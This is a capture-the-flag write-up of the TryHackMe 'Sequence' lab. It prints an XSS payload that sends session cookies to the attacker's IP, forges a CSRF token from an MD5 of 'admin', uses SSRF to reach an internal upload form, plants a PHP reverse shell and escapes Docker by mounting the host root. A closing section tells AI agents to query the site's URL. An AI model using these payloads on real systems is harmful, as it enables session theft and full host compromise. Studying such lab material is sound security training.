# Sequence

{% embed url="<https://tryhackme.com/room/sequence>" %}

The following post by 0xb0b is licensed under [CC BY 4.0<img src="https://mirrors.creativecommons.org/presskit/icons/cc.svg?ref=chooser-v1" alt="" data-size="line"><img src="https://mirrors.creativecommons.org/presskit/icons/by.svg?ref=chooser-v1" alt="" data-size="line">](http://creativecommons.org/licenses/by/4.0/?ref=chooser-v1)

***

> Robert made some last-minute updates to the `review.thm` website before heading off on vacation. He claims that the secret information of the financiers is fully protected. But are his defenses truly airtight? Your challenge is to exploit the vulnerabilities and gain complete control of the system.

## Recon

We start with an Nmap scan and find that only two ports are open: ports `22` and `80`. The default script and version scan tells us that the web server on port `80` is an `Apache httpd 2.4.41` serving a PHP review shop page.

<figure><img src="/files/N8mNJXWDY9oPdtMEs73V" alt=""><figcaption></figcaption></figure>

Visiting the site manually reveals two interesting pages: the login page and the contact form.

<figure><img src="/files/ttcfqAwi8FrGjCQJoBAK" alt=""><figcaption></figcaption></figure>

Nevertheless, we perform a directory scan using Feroxbuster and find not only the `phpadmin` page but also a dump file at `/mail/dump.txt`. This could contain sensitive information.

<figure><img src="/files/2PLXF04c6uEJ1FoFuHGC" alt=""><figcaption></figcaption></figure>

We take a closer look at the dump:

```
http://review.thm/mail/dump.txt
```

<figure><img src="/files/3VDO57dMhVkXqYWeDLSN" alt=""><figcaption></figcaption></figure>

We find references to two pages that we were unable to locate using Feroxbuster:

```
/lottery.php
/finance.php
```

According to the email, these are protected against unauthorized access because they are hosted in a secure, internal-only environment. A server-side request forgery may emerge during the challenge in order to access these services.

Furthermore, access is protected by a password, which is also mentioned in the email.

## Web Access Mod&#x20;

Since the login does not appear vulnerable to SQL injection, we will turn our attention to the contact form. With contact forms, it is always possible to test for blind cross-site scripting (XSS). The review board for contact requests may be vulnerable to XSS, which would allow us to steal a user's session cookie when they access it. Since we know that it is a PHP web server, we will attempt to retrieve the PHPSESSID cookie.

<figure><img src="/files/jBGssvAWYeyGqkcMW7Ce" alt=""><figcaption></figcaption></figure>

Next, we try to identify fields which might be enabling an XSS vulnerability by making a request to our web server. But we skip this in this case for a cleaner output:

```
<img src=x onerror="this.src='http://10.14.90.235/name'"/>
```

```
<img src=x onerror="this.src='http://10.14.90.235/phone'"/>
```

```
<img src=x onerror="this.src='http://10.14.90.235/message'"/>
```

We'll see that all fields are vulnerable. With the following payload we will be able to retrieve the cookies of a user reviewing the messages sent.

The payload is one suggested by HackTricks:

{% embed url="<https://book.hacktricks.wiki/en/pentesting-web/xss-cross-site-scripting/index.html#retrieve-cookies>" %}

We fill out the form...

```
<img src=x onerror="this.src='http://10.14.90.235?c='+document.cookie"/>
```

<figure><img src="/files/mPnltV6x3jFAudrXHF34" alt=""><figcaption></figcaption></figure>

... and retrieve the session cookie.

<figure><img src="/files/dyjVuVlkclmDBdu8EQp4" alt=""><figcaption></figcaption></figure>

Next, we set the `PHPSESSID` and reload the page. We are now `mod`. The first flag is presented in the header. As mod we are able to chat, view feedback, and play around with the settings. Furthermore we see the users table containing the `admin` and `mod` user.

<figure><img src="/files/ud12rSE0pSECmD12ZcH1" alt=""><figcaption></figcaption></figure>

## Web Access Admin

At time testing this challenge there were two ways to get admin, one way was via XSS the other by abusing the promotion feature. The XSS path got hardended a bit more. But maybe you can find an unintended here. Let me know.

<figure><img src="/files/ICewQuKwFbBWKXuT8T2E" alt=""><figcaption></figcaption></figure>

The filter looks quite solid and is not only applied on client side.

<figure><img src="/files/0MHUhgW58oIkkihF3Wiz" alt=""><figcaption></figcaption></figure>

We move on to the settings page and see that we are able to change password and also promote someone to an `admin`. So, we give it a try and promote our current user as admin.

{% hint style="info" %}
At this point we should already change the password of `mod` to log in back later, if a successful promotion requires a freshly new session to apply.
{% endhint %}

```
http://review.thm/settings.php
```

<figure><img src="/files/TsSLNfaIPlMVXo7mrw5F" alt=""><figcaption></figcaption></figure>

We make a request and catch it using Burp Suite. We get the response that the feature is currently only available for admins, but lets try it anyway. Furthermore we see that there is a CSRF (Cross-Site Request Forgery) token is in place. Which should deny CSRF. CSFR is a web attack where a malicious site tricks a logged-in user’s browser into performing unwanted actions on another site without their consent. With the correct implementation of those tokens it should be not possible to abuse CSRF.

<figure><img src="/files/7ts6WgyRTjJzJFxh8fgM" alt=""><figcaption></figcaption></figure>

We copy the link from the request and send it the admin. But nothing happens. We log in as a `mod` again (we changed passswords). But nothing happens

{% code overflow="wrap" %}

```
http://review.thm/promote_coadmin.php?username=mod&csrf_token_promote=ad148a3ca8bd0ef3b48c52454c493ec5
```

{% endcode %}

<figure><img src="/files/gFo6llvNdayiDf8k9JgQ" alt=""><figcaption></figcaption></figure>

While capturing another request to promote ourselves, we noticed the CSRF token didn’t change between requests. Its format suggested it could be an MD5 hash, so we suspected a predictable CSRF token misconfiguration, meaning the token isn't truly random and can be guessed.

Out of curiosity, we tested it by pasting the token into crackstation.net, which revealed it was just the MD5 hash of the current username `mod`.&#x20;

Knowing this, we could easily generate a valid CSRF token for any user - including `admin` - and craft a request with their token to escalate privileges.

<figure><img src="/files/wvT8mK0Hp71QABoJ6W1n" alt=""><figcaption></figcaption></figure>

Next, we craft an `admin` CSRF token:

<figure><img src="/files/hwg8vgrrBJ1qvPL6mGpM" alt=""><figcaption></figcaption></figure>

We send the new link with the updated CSRF token to admin.

{% code overflow="wrap" %}

```
http://review.thm/promote_coadmin.php?username=mod&csrf_token_promote=21232f297a57a5a743894a0e4a801fc3
```

{% endcode %}

<figure><img src="/files/Jeb39A0xbJa5re7meqVi" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/0Gxzey7nxTSqiOPQvJ5s" alt=""><figcaption></figcaption></figure>

After a short duration we see that we have now the role admin in the dashboard panel. There seem to be no changes in the dashboard yet. And no second flag. To apply the changes we need to re-login agian.&#x20;

<figure><img src="/files/VFp2OaKojGBYgHJOfZBl" alt=""><figcaption></figcaption></figure>

If we haven't already done so, we change the password of `mod`.

<figure><img src="/files/jSc6YigDEsu1u76WrvKa" alt=""><figcaption></figcaption></figure>

We log in as mod again.

<figure><img src="/files/Ox5m2JB6F3uAenxNOR7n" alt=""><figcaption></figcaption></figure>

We'll find the second flag in the header again. We have now admin permission.

<figure><img src="/files/yElIqAatxy0Nm96HFS3d" alt=""><figcaption></figcaption></figure>

## Foothold

At the `dashboard.php` we see a new feature available we are now able to request the internally hosted pages, leveraing to Server Side Request Forgerys - recalling `/mail/dump.txt`. The lottery feature seems not to be available, and the `finance.php` page is not listed, but not really a problem.

<figure><img src="/files/W9umiNOepnvkruXPzyMC" alt=""><figcaption></figcaption></figure>

Recalling `/mail/dump.txt`:

{% code overflow="wrap" %}

```
From: software@review.thm
To: product@review.thm
Subject: Update on Code and Feature Deployment

Hi Team,

I have successfully updated the code. The Lottery and Finance panels have also been created.

Both features have been placed in a controlled environment to prevent unauthorized access. The Finance panel (`/finance.php`) is hosted on the internal 192.x network, and the Lottery panel (`/lottery.php`) resides on the same segment.

For now, access is protected with a completed 8-character alphanumeric password (REDACTED), in order to restrict exposure and safeguard details regarding our potential investors.

I will be away on holiday but will be back soon.

Regards,  
Robert
```

{% endcode %}

Next, we intercept the request using Burp Suite by chosing lottery in the `dashboard.php` and edit lottery to finance.

<figure><img src="/files/GfN86QzQ4pcSVIIvLu8K" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/ObTC8AQtOIOhspb2SgRo" alt=""><figcaption></figcaption></figure>

We forward the request and a password is now required. We got that already from `/mail/dump.txt`.

<figure><img src="/files/M92OIIgC4If4I3oG2cPU" alt=""><figcaption></figcaption></figure>

We enter the password...

<figure><img src="/files/EcIJFsI61RT14eoXFEZe" alt=""><figcaption></figcaption></figure>

... and a file upload function appears. With that we might be able to gain foothold by uploading a PHP webshell or PHP reverse shell, since we know that this is a webserver serving PHP.

<figure><img src="/files/NLhzOYnFlpFBb3A71LVf" alt=""><figcaption></figcaption></figure>

We generate the PHP PentestMonkey reverse shell using `revshell.com`.

<figure><img src="/files/nL2QoZRDyvTS21jxBeeV" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/9mLWhwJgnDLq24bmNOLT" alt=""><figcaption></figcaption></figure>

Repeat the steps done to reveal the upload functionality and upload our reverse shell file.

<figure><img src="/files/tXov0jGO5AXmsZSldPRH" alt=""><figcaption></figcaption></figure>

Fortunately there is no filter / WAF in place. The file gets uploaded. Seems like it gets uploaded internally at `/uploads/monkey.php`, since there is no `http://review.thm/uploads/monkey.php`.

<figure><img src="/files/I50dHzx7FIQTktaXxY9U" alt=""><figcaption></figcaption></figure>

We set up a listener on our desired port and intercept a request with the `features` available as admin.

<figure><img src="/files/Ksiu8q3GgS8hecHicATI" alt=""><figcaption></figcaption></figure>

&#x20;Next we modify that request to request `/uploads/monkey.php`.

<figure><img src="/files/ahWsq0SXxeIM9WAXCxcF" alt=""><figcaption></figcaption></figure>

We receive a connection and are `root`. Next, we upgrade our shell. Since we are `root`, we check for files like `.dockerenv`, to confirm that we are in a docker container.

{% embed url="<https://0xffsec.com/handbook/shells/full-tty/>" %}

```
python3 -c 'import pty; pty.spawn("/bin/bash")'
```

```
CTRL+Z
```

```
stty raw -echo && fg
```

<figure><img src="/files/jvb1dy8fCZIlkocDS7Bt" alt=""><figcaption></figcaption></figure>

Alternativley of upgrading manually we could use penelope too, a reverse shell handler which tries to auto upgrade the catched reverse shell, fixes TTY size and allows us to manage our sessions.

{% embed url="<https://github.com/brightio/penelope>" %}

<figure><img src="/files/r0Blo1View8vgVGbiYXy" alt=""><figcaption></figcaption></figure>

## Docker Escape

We upload and execeute LinPEAS to check for any escapes available.

<figure><img src="/files/tCkTQeE2sMIRAeCsnxIQ" alt=""><figcaption></figcaption></figure>

We see that `/proc` is mounted. But no other escapes are highlighted.

<figure><img src="/files/5lsjWOZ87iJTsNu1l5Af" alt=""><figcaption></figcaption></figure>

But we are able to run docker inside the container.

<figure><img src="/files/r39os2XXhAW4G1dqSjak" alt=""><figcaption></figcaption></figure>

This allows us to deploy an elevated docker container with the `/` folder of the host mounted.

{% embed url="<https://tbhaxor.com/container-breakout-part-1/>" %}

Furthermore there is also an image available, so we dont need to upload any.

```
docker ps
```

<figure><img src="/files/aGz05Sxry41DRL95yvVE" alt=""><figcaption></figcaption></figure>

We spawn a container using the image, mount `/` of host to `/host` and run it interactively.

```
docker run -it --rm -v /:/host phpvulnerable:latest /bin/sh
```

This allows us a container escape, or at least a serious compromise of the host, because it mounts the entire host root filesystem `/` into the container at `/host`. From there we are able to read the `root` flag on the host.

```
cat /host/root/flag.txt
```

<figure><img src="/files/TFrkCGem3Pz4tTZXGc6t" alt=""><figcaption></figcaption></figure>


---

# Agent Instructions: Querying This Documentation

If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter:

```
GET https://0xb0b.gitbook.io/writeups/tryhackme/2025/sequence.md?ask=<question>
```

The question should be specific, self-contained, and written in natural language.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
